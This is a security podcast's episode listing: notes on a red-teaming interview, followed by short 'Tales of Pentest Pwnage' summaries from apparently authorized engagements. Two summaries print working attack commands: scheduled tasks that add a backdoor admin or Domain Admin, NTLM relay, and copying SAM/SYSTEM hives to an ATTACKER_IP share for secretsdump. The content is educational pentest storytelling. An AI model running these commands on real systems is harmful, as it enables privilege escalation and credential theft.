7MS #365: Interview with Ryan Manship and Dave Dobrotka - Part 3

7MS #365: Interview with Ryan Manship and Dave Dobrotka - Part 3

This episode of the 7 Minute Security Podcast is brought to you by Authentic8, creators of Silo. Silo allows its users to conduct online investigations to collect information off the web securely and anonymously. For more information, check out Authentic8.

First, a bit of miscellany:

  • If you replace "red rain" with "red team" in this song, we might just have a red team anthem on our hands!

  • If you're in the Twin Cities area and looking for an infosec analyst job, check out this posting with UBB. If interested, I can help make an electronic introduction - and/or let 'em know 7 Minute Security sent ya!

Ok, in today's program we're talking about red teaming again with our third awesome installment with Ryan and Dave who are professional red teamers! Today we cover:

  • Recon - it's super important! It's like putting together puzzle pieces...and the more of that puzzle you can figure out, less likely you'll be surprised and the more likely you'll succeed at your objective!

  • Reporting - how do you deliver reports in a way that blue team doesn't feel picked on, management understands the risk, and ultimately everybody leaves feeling charged to secure all the things?

I also asked the questions folks submitted to me via LinkedIn/Slack:

  • Any tips for the most dreaded part of an assessment (reports)?

  • How do you get around PowerShell v5 with restrict language mode without having the ability to downgrade to v2?

  • What's an alternative to PowerShell tooling for internal pentesting? (hint: C# is the hotness)

  • What certs/skills should I pursue to get better at red teaming (outside of "Hey, go build a lab!").

  • Are customers happy to get assessed by a red team exercise, or do they do it begrudgingly because of requirements/regulations?

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7MS #692: Tales of Pentest Pwnage – Part 76

7MS #692: Tales of Pentest Pwnage – Part 76

Happy Friday! Today’s another hot pile of pentest pwnage. To make it easy on myself I’m going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can’t explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn’t interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn’t copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\ From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

12 Sep 32min

7MS #691: Tales of Pentest Pwnage – Part 75

7MS #691: Tales of Pentest Pwnage – Part 75

Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today’s episode: Got an SA account to a SQL server through Snaffler-ing With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv I didn’t have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f …and ran it: schtasks /run /tn "TotallyFineTask"

5 Sep 31min

7MS #690: Tales of Pentest Pwnage – Part 74

7MS #690: Tales of Pentest Pwnage – Part 74

Today’s tale of pentest pwnage is a classic case of “If your head is buried in the pentest sand, pop it out for a while, touch grass, and re-enumerate what you’ve already enumerated, because that can lead to absolute GOLD!”

29 Aug 21min

7MS #689: Pwning Ninja Hacker Academy – Part 2

7MS #689: Pwning Ninja Hacker Academy – Part 2

Hello friends!  Today your friend and mine, Joe “The Machine” Skeen joins me as we keep chipping away at pwning Ninja Hacker Academy!  Today’s pwnage includes: “Upgrading” our Sliver C2 connection to a full system shell using PrintSpoofer! Abusing nanodump to do an lsass minidump….and find our first cred. Analyzing BloodHound data to find (and own) excessive permissions against Active Directory objects

22 Aug 15min

7MS #688: Building a Pentest Training Course Is Fun and Frustrating

7MS #688: Building a Pentest Training Course Is Fun and Frustrating

Today I talk about a subject I love while also driving me crazy at the same time: building a pentest training course! Specifically, I dissect a fun/frustrating GPO attack that I need to build very carefully so that every student can pwn it while also not breaking the domain for everybody else. I also talk about how three different flavors of AI failed me in solving a simple task.

16 Aug 22min

7MS #687: A Peek into the 7MS Mail Bag – Part 5

7MS #687: A Peek into the 7MS Mail Bag – Part 5

Hi friends, we’re doing something today we haven’t done in a hot minute: take a dip into the 7MinSec mail bag! Today we cover these questions: If I’m starting a solo business venture as a security consultancy, is it a good idea to join forces with other solo security business owners and form a consortium of sorts? Have you ever had anything go catastrophically wrong during a pentest?  Yes, and this is an important link in the story: https://github.com/fortra/impacket/issues/1436 What ever happened with the annoying apartment neighbor who stomped around like a rhino when you made any noise during COVID? What happened to the “difficult family situation” you vaguely talked about a few months ago that involved police and lawyers – did that ever get resolved?

11 Aug 57min

7MS #686: Our New Pentest Training Course is Almost Ready

7MS #686: Our New Pentest Training Course is Almost Ready

Oh man, I’m so excited I can hardly sleep. Our new three-day (4 hours per day) training is getting closer to general release. I talk about the good/bad/ugly of putting together an attack-sensitive lab that students can abuse (but hopefully not break!), and the technical/curriculum-writing challenges that go along with it.

1 Aug 23min

7MS #685: The Time My Neighbor Almost Got Scammed Out of $13K

7MS #685: The Time My Neighbor Almost Got Scammed Out of $13K

Today’s kind of a “story time with your friend Brian” episode: a tale of how my neighbor almost got scammed out of $13k.  The story has a lot of red flags we can all keep in mind to keep ourselves (as well as kids/friends/parents/etc.) safer from these types of shenanigans.

25 Juli 22min

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